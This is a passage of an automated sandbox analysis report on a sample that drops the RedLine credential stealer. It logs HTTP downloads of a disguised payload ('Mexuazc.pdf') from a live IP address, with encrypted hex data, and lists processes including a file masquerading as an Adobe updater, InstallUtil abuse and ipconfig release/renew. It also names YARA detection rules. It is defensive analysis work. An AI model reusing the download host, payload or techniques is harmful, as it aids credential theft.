Oct 15, 2024 19:22:57.262901068 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:57 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 03:21:37 GMT ETag: "132608-6246755adcbae" Accept-Ranges: bytes Content-Length: 1254920 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 92 69 07 0f 5b c2 21 1c 90 29 a9 30 5a 9d 5d 11 ca 2a b6 34 da 58 ed 6a 96 bf 7f b9 d7 ab f5 26 58 23 ec 1f 4f 70 12 7e b5 34 0e 6c 22 6a 06 a9 df 8d 30 a2 80 f0 ec 64 dd 26 ed ea 59 18 0a 91 d3 fc e2 1d 44 32 ae c6 f3 7e 74 26 76 5a ee 84 eb 72 48 82 06 39 1f dc a4 04 69 11 ec 08 d5 f8 a8 79 61 b8 d3 43 05 b8 21 c3 13 26 72 23 91 11 ad ea db 9c c9 e9 56 40 d4 e3 94 c1 d3 2e 43 39 7c 49 43 e9 71 82 e1 18 c8 9d 31 36 26 7e 44 8b be c4 01 9f 77 66 97 a5 25 42 15 d6 eb fa 66 54 58 8e 47 94 6a 7c 58 c1 7f 11 65 cc 70 bd 86 7e d9 42 16 50 49 03 df 7d 51 71 29 ff eb 81 9c dc 3d 49 fe 11 ab 55 e8 f4 0d 58 1e 31 95 f9 bd be 8f ea 73 25 c4 12 63 cb 55 f2 32 f0 5a 29 8a ce df 8b f0 df a9 11 2c 39 85 0d 81 4e d9 b5 cf 32 91 69 80 5a 0a 93 9b 7c f4 a6 10 17 7d 3a b4 fb 9a 54 0e 4e 13 c0 61 09 87 0d d8 77 0c 73 53 78 5a 0b df 20 54 06 6c fd fa 0d 9c 55 d5 e1 b7 f0 01 1f 44 d1 cc e9 b8 ad a8 cc 3d 12 60 ef 7a e9 65 99 e1 8a 31 53 d4 18 c7 5b 5f 07 92 ef d3 ab 3a ff dc 58 7f ab f3 56 05 26 a5 83 e0 66 2f 23 5d 21 [TRUNCATED] Data Ascii: i[!)0Z]4Xj&X#Op~4l"j0d&YD2~t&vZrH9iyaC!&r#V@.C9\|ICq16&~Dwf%BfTXGj\|Xep~BPI}Qq)=IUX1s%cU2Z),9N2iZ\|}:TNawsSxZ TlUD=`ze1S[_:XV&f/#]!.ze&=/3P=d]Hrt,xIF\'uxw`RQH}/yP`]zjF/cG(Kp88E_4bBW}%]K;Rzyx:Jzz0(Gv"U8)OiL/SATs':?>`G_73s;NWh<nEM>R$yD8wusYELjik[<z`-X@uYDRI6Y$b>o9rw`sqIV,(,/1MRS8NDMRJ+*z]^oA'wuErVgYID(bD?dbBa%`ggC\|\|8@E=\|r1u-Z9oinStQ$X0C<')iHH2]NF)
Oct 15, 2024 19:22:57.262964010 CEST	1236	IN	Data Raw: d7 41 08 aa cd 00 db 2b f4 af bf 5f e6 15 c7 4a 4c 9c 84 18 8a 57 36 11 72 36 fc ca 82 c2 46 fd d8 14 96 b1 90 bb 95 26 d0 e9 bb 56 95 95 ef eb 9e 9c de 2a 6e 79 5c 9a f5 36 05 48 4c b6 2d 87 43 be 1e 2b 12 18 39 97 71 d4 79 2e e6 91 5f 02 2f a1 Data Ascii: A+_JLW6r6F&V*ny\6HL-C+9qy._/=zD>Y%]OZ>8YQTG?W{-6s>@DCBf&Y`7'C^\8EVHF_s5z4O-j751ARd$L>-M'q
Oct 15, 2024 19:22:57.262998104 CEST	1236	IN	Data Raw: 06 90 f7 5a 1f 97 e8 3f ed 62 93 51 3c e7 67 76 ba 6b b6 c6 74 27 96 c2 1f 32 21 fc 7b 0d 1d fd 2a 5c 76 3c a7 ad 6a 2a da 3e 60 72 f8 77 74 3d 87 95 26 58 21 ec d8 7f e9 ef f5 c8 79 76 0c 2b a3 5d 2d 35 e0 f6 36 50 68 86 7e 36 f5 f9 73 13 56 de Data Ascii: Z?bQ<gvkt'2!{\v<j>`rwt=&X!yv+]-56Ph~6sV2"0&cj X#\*>rkGw2z<!-XL&Us4Kf_3XpYHUsVSJi9,_TaRc (i)itG
Oct 15, 2024 19:22:57.263030052 CEST	1236	IN	Data Raw: b8 b1 95 29 2f 69 b2 82 78 13 20 7f 88 47 04 26 c2 9a 03 9c 66 b4 bf a1 8c 52 a7 f1 e0 67 3a 73 c2 81 f4 f0 6a 72 7b bc 7f 43 df f9 7e df a8 a4 cc 97 b4 c2 13 17 61 64 41 60 54 83 9b 74 82 35 44 18 57 27 2d c8 12 75 41 ed 24 4b fd 81 55 b9 d0 f5 Data Ascii: )/ix G&fRg:sjr{C~adA`Tt5DW'-uA$KU7p*>0\|[ \1+xBb@TtAG9Cn]i}]@zFk:m4EBgi5+3r-0c&9I~D>[K+
Oct 15, 2024 19:22:57.263063908 CEST	848	IN	Data Raw: 6b eb d2 83 d1 91 12 54 db 9d d0 5a 30 0e 4e b9 bd de ca 22 28 0d ce d3 96 57 94 7c 5c d9 b7 27 8e 22 0a b0 bd 18 76 8d 5e a2 7d a7 b7 cb 8b a2 3c 31 e6 93 8f 64 db ae c6 bd ff 01 d1 eb 2d 8f 7c cd a4 22 e5 9c 5e ee 79 d1 ac 19 fb 25 2b 41 74 9f Data Ascii: kTZ0N"(W\|\'"v^}<1d-\|"^y%+Atg{:Y5>?{c>pt<f$4yiLHcEq14)C+tyKu?^#w@WF<mmXvk.Lug9X7&9!(A{d^kTOwr\U"
Oct 15, 2024 19:22:57.263097048 CEST	1236	IN	Data Raw: 44 5e c0 c7 51 18 26 60 30 a6 60 82 33 a4 e7 45 a7 9b 76 5b 0a 8a 1f 09 11 0f 5c 5d 42 60 b6 c5 f6 a6 7e 89 87 40 8b 4b 47 b8 9d 89 87 24 40 8b 23 23 5a e6 77 af f3 e0 84 23 77 18 66 a6 e8 e8 c0 da a4 2d ff 06 19 6d b6 fa ed 08 e2 31 10 f3 f7 9c Data Ascii: D^Q&`0`3Ev[\]B`~@KG$@##Zw#wf-m16ue4R`UBaZD~PQj2nxOh@3!^9iDt%!1#V:rpv[I8Lr?X!!lbZLh~POeZ}CVHq+WWH4V(H,@EW
Oct 15, 2024 19:22:57.263132095 CEST	1236	IN	Data Raw: 2d 67 3a 1f e5 e1 a8 42 82 b4 11 e2 aa 01 bd 7e 71 89 45 01 6a ff 35 5e 11 bc 64 05 26 40 60 5b 76 9e 3a 45 71 36 15 34 60 09 fc a1 29 dd 65 e2 06 19 cf 50 9c b4 6d 2d 88 25 4e eb 37 10 c2 91 9b dd cd 41 04 97 da 89 03 29 02 e0 f7 5b 00 e5 6b ec Data Ascii: -g:B~qEj5^d&@`[v:Eq64`)ePm-%N7A)[kArM8=o+#uh!h;Z;yRduP7_\Ix!K}Sa_aA+pFGAP5GpwNx+9(4-(CIY
Oct 15, 2024 19:22:57.263169050 CEST	1236	IN	Data Raw: f3 13 d7 7c 1d ed 8b 12 af cc 17 84 64 37 5f 15 9d 41 f5 03 d0 29 1c e3 5b 21 e2 d3 a2 2f d2 e1 c3 b8 90 2d 4d b8 6f c3 3b 88 53 e8 04 46 e6 49 5c e4 9f 05 42 45 7f 6f 70 5c a4 19 e4 20 ae c8 90 2b ae 86 fe f2 f4 48 56 1f 61 62 16 0c 8b 86 ef 97 Data Ascii: \|d7_A)[!/-Mo;SFI\BEop\ +HVab=wSsxx33v.!!\kH#p DY^->$AxM@VfE}^v@bL/~'t1H$3+^<A_4/J\X"[/2\|2LE<)
Oct 15, 2024 19:22:57.263437033 CEST	1236	IN	Data Raw: e0 76 8c 98 69 8f da 35 f7 07 23 e3 b9 6b 6a 37 72 d0 3e ea 4c d9 88 4b 25 bb 32 cc ea 2f ae f9 ea 4c 2a 18 7f 9c c1 14 99 2b 13 f9 7f ad 8d 62 4b 84 51 51 00 64 d8 14 5c 2f e7 c1 f5 ca 4e 29 ae 3c fb af d7 c8 50 20 91 c9 f6 bd 79 64 5d 69 ef d5 Data Ascii: vi5#kj7r>LK%2/L*+bKQQd\/N)<P yd]imR>St1/{~4t]~fMjBS z)4;B>p:xa?s]"qM%ACpw]!_a6RMzu~W1fW<ct\
Oct 15, 2024 19:22:57.263470888 CEST	1236	IN	Data Raw: fd 2a f7 ac 6b 80 cb f1 22 08 ba 83 a8 de 31 b3 e1 50 76 a6 bb 9c 8d 93 64 fc 9c 63 11 4f d6 6c f4 25 ed 73 e8 c0 2a 41 b2 cc 6a 0b c9 ac e2 d3 29 70 06 e6 72 e2 3b 68 a1 ba 3c ee ec 7c 11 7f 71 69 fb ad c5 06 5d 1b f8 34 15 ad 0f 67 94 fb 7a 82 Data Ascii: k"1PvdcOl%sAj)pr;h<\|qi]4gzT8fp/p=>-9{d@fq"Qgog8eGHV3}kccnGuok_I?4ljd_Q:zq#gJ'`J{k64B&"IJluK
Oct 15, 2024 19:22:57.268265963 CEST	1236	IN	Data Raw: c3 1d 34 82 34 98 90 06 f5 77 03 52 ce 39 9b 19 62 e8 bb f9 69 b2 30 e5 76 0e 99 fc e1 0f 2b ef 20 a5 24 32 3d f6 e5 a6 78 5c 30 03 12 55 2b c5 81 84 a3 8f c1 98 5d 4b c1 5b 35 79 55 4a 29 4e 0f a8 5b 7f eb f3 f9 18 64 7f e5 72 07 11 bd a6 c6 08 Data Ascii: 44wR9bi0v+ $2=x\0U+]K[5yUJ)N[drDwvh&\T%oV}WR:k (2tw2M?h=~=)snNa5/%qFbYHWyb[%IL8CM;%\<Y[ZK,fA.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49959	87.120.127.223	80	8060	C:\Users\user\AppData\Roaming\Yftssfzf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:23:04.495095015 CEST	89	OUT	GET /panel/uploads/Mexuazc.pdf HTTP/1.1 Host: 87.120.127.223 Connection: Keep-Alive
Oct 15, 2024 19:23:05.371289015 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:23:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 03:21:37 GMT ETag: "132608-6246755adcbae" Accept-Ranges: bytes Content-Length: 1254920 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 92 69 07 0f 5b c2 21 1c 90 29 a9 30 5a 9d 5d 11 ca 2a b6 34 da 58 ed 6a 96 bf 7f b9 d7 ab f5 26 58 23 ec 1f 4f 70 12 7e b5 34 0e 6c 22 6a 06 a9 df 8d 30 a2 80 f0 ec 64 dd 26 ed ea 59 18 0a 91 d3 fc e2 1d 44 32 ae c6 f3 7e 74 26 76 5a ee 84 eb 72 48 82 06 39 1f dc a4 04 69 11 ec 08 d5 f8 a8 79 61 b8 d3 43 05 b8 21 c3 13 26 72 23 91 11 ad ea db 9c c9 e9 56 40 d4 e3 94 c1 d3 2e 43 39 7c 49 43 e9 71 82 e1 18 c8 9d 31 36 26 7e 44 8b be c4 01 9f 77 66 97 a5 25 42 15 d6 eb fa 66 54 58 8e 47 94 6a 7c 58 c1 7f 11 65 cc 70 bd 86 7e d9 42 16 50 49 03 df 7d 51 71 29 ff eb 81 9c dc 3d 49 fe 11 ab 55 e8 f4 0d 58 1e 31 95 f9 bd be 8f ea 73 25 c4 12 63 cb 55 f2 32 f0 5a 29 8a ce df 8b f0 df a9 11 2c 39 85 0d 81 4e d9 b5 cf 32 91 69 80 5a 0a 93 9b 7c f4 a6 10 17 7d 3a b4 fb 9a 54 0e 4e 13 c0 61 09 87 0d d8 77 0c 73 53 78 5a 0b df 20 54 06 6c fd fa 0d 9c 55 d5 e1 b7 f0 01 1f 44 d1 cc e9 b8 ad a8 cc 3d 12 60 ef 7a e9 65 99 e1 8a 31 53 d4 18 c7 5b 5f 07 92 ef d3 ab 3a ff dc 58 7f ab f3 56 05 26 a5 83 e0 66 2f 23 5d 21 [TRUNCATED] Data Ascii: i[!)0Z]4Xj&X#Op~4l"j0d&YD2~t&vZrH9iyaC!&r#V@.C9\|ICq16&~Dwf%BfTXGj\|Xep~BPI}Qq)=IUX1s%cU2Z),9N2iZ\|}:TNawsSxZ TlUD=`ze1S[_:XV&f/#]!.ze&=/3P=d]Hrt,xIF\'uxw`RQH}/yP`]zjF/cG(Kp88E_4bBW}%]K;Rzyx:Jzz0(Gv"U8)OiL/SATs':?>`G_73s;NWh<nEM>R$yD8wusYELjik[<z`-X@uYDRI6Y$b>o9rw`sqIV,(,/1MRS8NDMRJ+*z]^oA'wuErVgYID(bD?dbBa%`ggC\|\|8@E=\|r1u-Z9oinStQ$X0C<')iHH2]NF)
Oct 15, 2024 19:23:05.371352911 CEST	1236	IN	Data Raw: d7 41 08 aa cd 00 db 2b f4 af bf 5f e6 15 c7 4a 4c 9c 84 18 8a 57 36 11 72 36 fc ca 82 c2 46 fd d8 14 96 b1 90 bb 95 26 d0 e9 bb 56 95 95 ef eb 9e 9c de 2a 6e 79 5c 9a f5 36 05 48 4c b6 2d 87 43 be 1e 2b 12 18 39 97 71 d4 79 2e e6 91 5f 02 2f a1 Data Ascii: A+_JLW6r6F&V*ny\6HL-C+9qy._/=zD>Y%]OZ>8YQTG?W{-6s>@DCBf&Y`7'C^\8EVHF_s5z4O-j751ARd$L>-M'q
Oct 15, 2024 19:23:05.371368885 CEST	1236	IN	Data Raw: 06 90 f7 5a 1f 97 e8 3f ed 62 93 51 3c e7 67 76 ba 6b b6 c6 74 27 96 c2 1f 32 21 fc 7b 0d 1d fd 2a 5c 76 3c a7 ad 6a 2a da 3e 60 72 f8 77 74 3d 87 95 26 58 21 ec d8 7f e9 ef f5 c8 79 76 0c 2b a3 5d 2d 35 e0 f6 36 50 68 86 7e 36 f5 f9 73 13 56 de Data Ascii: Z?bQ<gvkt'2!{\v<j>`rwt=&X!yv+]-56Ph~6sV2"0&cj X#\*>rkGw2z<!-XL&Us4Kf_3XpYHUsVSJi9,_TaRc (i)itG
Oct 15, 2024 19:23:05.371396065 CEST	1236	IN	Data Raw: b8 b1 95 29 2f 69 b2 82 78 13 20 7f 88 47 04 26 c2 9a 03 9c 66 b4 bf a1 8c 52 a7 f1 e0 67 3a 73 c2 81 f4 f0 6a 72 7b bc 7f 43 df f9 7e df a8 a4 cc 97 b4 c2 13 17 61 64 41 60 54 83 9b 74 82 35 44 18 57 27 2d c8 12 75 41 ed 24 4b fd 81 55 b9 d0 f5 Data Ascii: )/ix G&fRg:sjr{C~adA`Tt5DW'-uA$KU7p*>0\|[ \1+xBb@TtAG9Cn]i}]@zFk:m4EBgi5+3r-0c&9I~D>[K+
Oct 15, 2024 19:23:05.371411085 CEST	848	IN	Data Raw: 6b eb d2 83 d1 91 12 54 db 9d d0 5a 30 0e 4e b9 bd de ca 22 28 0d ce d3 96 57 94 7c 5c d9 b7 27 8e 22 0a b0 bd 18 76 8d 5e a2 7d a7 b7 cb 8b a2 3c 31 e6 93 8f 64 db ae c6 bd ff 01 d1 eb 2d 8f 7c cd a4 22 e5 9c 5e ee 79 d1 ac 19 fb 25 2b 41 74 9f Data Ascii: kTZ0N"(W\|\'"v^}<1d-\|"^y%+Atg{:Y5>?{c>pt<f$4yiLHcEq14)C+tyKu?^#w@WF<mmXvk.Lug9X7&9!(A{d^kTOwr\U"
Oct 15, 2024 19:23:05.371428013 CEST	1236	IN	Data Raw: 44 5e c0 c7 51 18 26 60 30 a6 60 82 33 a4 e7 45 a7 9b 76 5b 0a 8a 1f 09 11 0f 5c 5d 42 60 b6 c5 f6 a6 7e 89 87 40 8b 4b 47 b8 9d 89 87 24 40 8b 23 23 5a e6 77 af f3 e0 84 23 77 18 66 a6 e8 e8 c0 da a4 2d ff 06 19 6d b6 fa ed 08 e2 31 10 f3 f7 9c Data Ascii: D^Q&`0`3Ev[\]B`~@KG$@##Zw#wf-m16ue4R`UBaZD~PQj2nxOh@3!^9iDt%!1#V:rpv[I8Lr?X!!lbZLh~POeZ}CVHq+WWH4V(H,@EW
Oct 15, 2024 19:23:05.371443987 CEST	1236	IN	Data Raw: 2d 67 3a 1f e5 e1 a8 42 82 b4 11 e2 aa 01 bd 7e 71 89 45 01 6a ff 35 5e 11 bc 64 05 26 40 60 5b 76 9e 3a 45 71 36 15 34 60 09 fc a1 29 dd 65 e2 06 19 cf 50 9c b4 6d 2d 88 25 4e eb 37 10 c2 91 9b dd cd 41 04 97 da 89 03 29 02 e0 f7 5b 00 e5 6b ec Data Ascii: -g:B~qEj5^d&@`[v:Eq64`)ePm-%N7A)[kArM8=o+#uh!h;Z;yRduP7_\Ix!K}Sa_aA+pFGAP5GpwNx+9(4-(CIY
Oct 15, 2024 19:23:05.371510029 CEST	424	IN	Data Raw: f3 13 d7 7c 1d ed 8b 12 af cc 17 84 64 37 5f 15 9d 41 f5 03 d0 29 1c e3 5b 21 e2 d3 a2 2f d2 e1 c3 b8 90 2d 4d b8 6f c3 3b 88 53 e8 04 46 e6 49 5c e4 9f 05 42 45 7f 6f 70 5c a4 19 e4 20 ae c8 90 2b ae 86 fe f2 f4 48 56 1f 61 62 16 0c 8b 86 ef 97 Data Ascii: \|d7_A)[!/-Mo;SFI\BEop\ +HVab=wSsxx33v.!!\kH#p DY^->$AxM@VfE}^v@bL/~'t1H$3+^<A_4/J\X"[/2\|2LE<)
Oct 15, 2024 19:23:05.525857925 CEST	1236	IN	Data Raw: a2 e8 b7 eb 5a 94 33 eb cd 18 20 77 51 48 6c da aa e0 b8 a6 80 44 cd 20 a8 03 d3 4c 0b 70 d4 51 67 47 40 5a 73 85 d9 a9 9e 7b ba 0c 32 4c e9 e1 1f 78 4f c5 4a a3 a1 f9 4c c1 c3 33 84 3f a2 04 3f 33 ac 13 ab 7e 45 9b 1a af e6 f6 5e 35 54 b9 ec 96 Data Ascii: Z3 wQHlD LpQgG@Zs{2LxOJL3??3~E^5T:v,e!`bM(8xuxJ@:Q(3.WE%_8:E[ZhIuCmvV)%ylAMFG]s)^?h\!
Oct 15, 2024 19:23:05.525904894 CEST	212	IN	Data Raw: 39 38 94 05 46 89 ed 74 59 44 e3 0b 80 a4 44 12 69 4a 04 b3 b4 4c e3 58 4e aa 15 ee da d6 fa fa 58 35 61 bb 1a 1b ea 6f 92 a9 db 63 e4 8f ea 33 a8 7c a0 c7 94 ed ea 8a 93 c3 f2 81 29 fc 9f 0e 9a 33 03 b3 51 c4 63 63 4d f4 83 a8 b2 69 6e 15 a7 2e Data Ascii: 98FtYDDiJLXNX5aoc3\|)3QccMin.NT$Ee3P$D@%&_]P*\|5~->W_liVXDN5ylA8`HqU3G1{@@M2"?#_=R
Oct 15, 2024 19:23:05.614308119 CEST	1236	IN	Data Raw: 40 9f a7 ae ad e5 ae 4a c7 0e c0 68 66 a2 f8 38 11 42 ce 4d a5 38 08 83 9f 46 93 ad 23 d1 6b 2a 47 99 a8 9f 99 8e 96 7a 04 f6 b8 b0 b2 17 c0 f5 28 1b f5 92 cd 0f 03 d3 fc 92 f7 19 ee cf 1d 95 47 a0 a8 22 fe 39 5b 8d 5b 18 04 3e 0f f7 a6 b0 64 7b Data Ascii: @Jhf8BM8F#k*Gz(G"9[[>d{?.N!4(:QxF4>IJ>eXbiqWT}_QuvlqT%s5h<}Ypr+T3Q)YeIlf>sF%V9UKM-

Target ID:	0
Start time:	13:21:59
Start date:	15/10/2024
Path:	C:\Users\user\Desktop\6RE1Z857ae.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\6RE1Z857ae.exe"
Imagebase:	0xc50000
File size:	7'168 bytes
MD5 hash:	3A1085797CA3089008CB2B51D2FCDC84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2214792226.0000000006AA0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2197191438.0000000003010000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:22:04
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:22:04
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:22:04
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:22:07
Start date:	15/10/2024
Path:	C:\Users\user\AppData\Local\Temp\build.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\build.exe"
Imagebase:	0xb30000
File size:	130'792 bytes
MD5 hash:	30F7AAC5D8D65200C618C6A0A94C4065
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000005.00000002.2297222568.0000000002EB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\build.exe, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\build.exe, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\build.exe, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Temp\build.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:22:07
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:22:07
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x9a0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:22:07
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:22:08
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:22:08
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:22:17
Start date:	15/10/2024
Path:	C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe"
Imagebase:	0x140000
File size:	7'168 bytes
MD5 hash:	3A1085797CA3089008CB2B51D2FCDC84
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.2373598901.0000000002450000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 46%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:22:22
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5136, Parent PID: 6692

General

Target ID:	14
Start time:	13:22:22
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:22:22
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:22:24
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xd20000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000010.00000002.2512990804.0000000006930000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000010.00000002.2441230781.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:22:24
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6220, Parent PID: 7100

General

Target ID:	18
